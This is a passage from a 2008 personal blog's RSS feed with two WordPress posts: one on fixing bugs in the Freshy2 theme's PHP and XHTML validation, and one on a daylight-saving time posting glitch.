				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[freshy2]]></category>
		<category><![CDATA[theme]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=53</guid>
		<description><![CDATA[A while ago I decided to change the default WordPress theme into the Freshy2 theme, since I liked the looks of it&#8230; I now partially wish I did not do that&#8230; Changing the theme was not trivial&#8230; Mainly because of &#8230; <a href="http://blog.delgurth.com/2008/10/31/new-theme/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>A while ago I decided to change the default WordPress theme into <a href="http://www.jide.fr/english/downloads/freshy2/">the Freshy2 theme</a>, since I liked the looks of it&#8230; I now partially wish I did not do that&#8230; Changing the theme was not trivial&#8230; Mainly because of two problems:</p>
<p>1. In the wp-content/themes/freshy2/functions.php file on line 474 it says</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> WP_CONTENT_DIR<span style="color: #339933;">.</span><span style="color: #000088;">$theme_info</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">template_dir</span><span style="color: #339933;">.</span><span style="">'/'</span>;</pre></div></div>

<p>If you change that to:</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #000088;">$path</span> <span style="color: #339933;">=</span> ABSPATH<span style="color: #339933;">.</span><span style="color: #000088;">$theme_info</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">template_dir</span><span style="color: #339933;">.</span><span style="">'/'</span>;</pre></div></div>

<p>suddenly you are able to configure the theme as promised by the author (at least that is what I needed to do with my Debian version of WordPress).</p>
<p>2. The customize freshy plugin that is advertised makes it so that I even though I&#8217;ve changed the stylesheet, it&#8217;s still not visible. So I&#8217;ve disabled that plugin. The line of php that is causing this behavior is also in functions.php, but then on line 26</p>

<div class="wp_syntax"><div class="code"><pre class="php php" style="font-family:monospace;"><span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #990000;">class_exists</span><span style="color: #009900;">&#40;</span><span style="">'Nice_theme'</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> add_action<span style="color: #009900;">&#40;</span><span style="">'wp_head'</span><span style="color: #339933;">,</span><span style="">'freshy_head'</span><span style="color: #009900;">&#41;</span>;</pre></div></div>

<p>Seems that Nice_theme doesn&#8217;t change the wp_head function. I didn&#8217;t look further into this, since the configuration options Freshy2 gives me are enough.</p>
<p>Furthermore, this theme breaks the xhtml 1.1 validation. I&#8217;ve removed the <code>autocomplete="off"</code> in the searchform.php file and added a &lt;p&gt; block around the search inputs. For <a href="https://wiki.mozilla.org/The_autocomplete_attribute_and_web_documents_using_XHTML">more information about the autocomplete attribute and xhtml see this post on the Mozilla wiki</a> (to be moved some time in the future).</p>
<p>Talking about xhtml 1.1 validation. This theme also puts a xhtml 1.0 doctype in the pages, while the footer of WordPress shows xhtml 1.1. So I&#8217;ve changed the doctype and removed the lang=&#8221;en&#8221; attribute from the &lt;html&gt; tag. But well, guess only a few people really try the validation button on the bottom of the page.</p>
<p>And I had to <a href="http://blog.delgurth.com/2008/08/03/quick-status-update/">change the title of the blog again in the same manner as I did the last time</a> on the default WordPress theme.</p>
<p>But, now I&#8217;ve done this I&#8217;m very happy. I really like the theme&#8217;s looks, certainly with this dark version, since it also adds something that I really wanted: <strong>no more fixed width layout!</strong> With the default version you still get a fixed with version, but this one scales. So thank you <a href="http://www.jide.fr">Jide</a>!</p>
<p>Now a few things remain to be done:</p>
<ul>
<li>Fix the &lt;code&gt; layout, since it doesn&#8217;t play well with my code formatting plugin and well.. it distracts a bit</li>
<li>Add Excerpts to all my posts</li>
<li>Cut down on the number of categories and add more tags</li>
<li><del>Find out why some post don&#8217;t show their date on the homepage</del></li>
<li>Change the color of the input text, so you can see what you search for</li>
<li>Post more frequently (still got about 20 drafts to work on)</li>
<li>Find out why putting &lt;pre&gt; tags inside &lt;li&gt; tags breaks validation</li>
</ul>
<p><strong>Update:</strong> I should have read the comments on the theme site before I started to work on the theme&#8230; Then I would have seen that more people encountered the problems and already wrote fixes to them. Someone thought the problem with the disappearing post dates has to do with editing the post after publishing. That is not the case, unfortunately. It is caused because <code>the_date()</code> doesn&#8217;t show the date if it&#8217;s the same as the date of the post before. In the default WordPress theme <code>the_time('F jS, Y')</code> is used in stead of the_date(). And the_time() doesn&#8217;t check for the last date. But, with just putting &#8216;F js, Y&#8217; into this function call, changing your date format in the settings doesn&#8217;t help, so what you need to put in the index.php file on line 15 is <code>the_time(get_option('date_format'))</code>. At least, if you want the date to be always shown. Perhaps I should make it a feature request that you can change this behavior of the_date, and add a bug report that the default theme doesn&#8217;t listen to the date_format setting&#8230;</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2008/10/31/new-theme/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Posting in the future&#8230;</title>
		<link>http://blog.delgurth.com/2008/10/30/posting-in-the-future/</link>
		<comments>http://blog.delgurth.com/2008/10/30/posting-in-the-future/#comments</comments>
		<pubDate>Thu, 30 Oct 2008 22:58:34 +0000</pubDate>
		<dc:creator>DelGurth</dc:creator>
				<category><![CDATA[Wordpress]]></category>
		<category><![CDATA[daylight savings time]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[phpBB]]></category>

		<guid isPermaLink="false">http://blog.delgurth.com/?p=54</guid>
		<description><![CDATA[Seems I just made a post 1 hour into the future and with that, on a different day. The WordPress settings say Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed &#8230; <a href="http://blog.delgurth.com/2008/10/30/posting-in-the-future/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Seems I just made a post 1 hour into the future and with that, on a different day. The WordPress settings say</p>
<blockquote><p>Unfortunately, you have to manually update this for Daylight Savings Time. Lame, we know, but will be fixed in the future.</p></blockquote>
<p>Lame indeed, and guess I forgot about this. A while ago a colleague encountered a similar problem in phpBB. Guess it&#8217;s PHP related and not just WordPress, as both products have the same problem. I wonder if the fix promised by WordPress is waiting for <a href="http://en.wikipedia.org/wiki/Daylight_saving_time">daylight savings time</a> to be abandoned as idea, since it&#8217;s advantages are still being questioned.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.delgurth.com/2008/10/30/posting-in-the-future/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
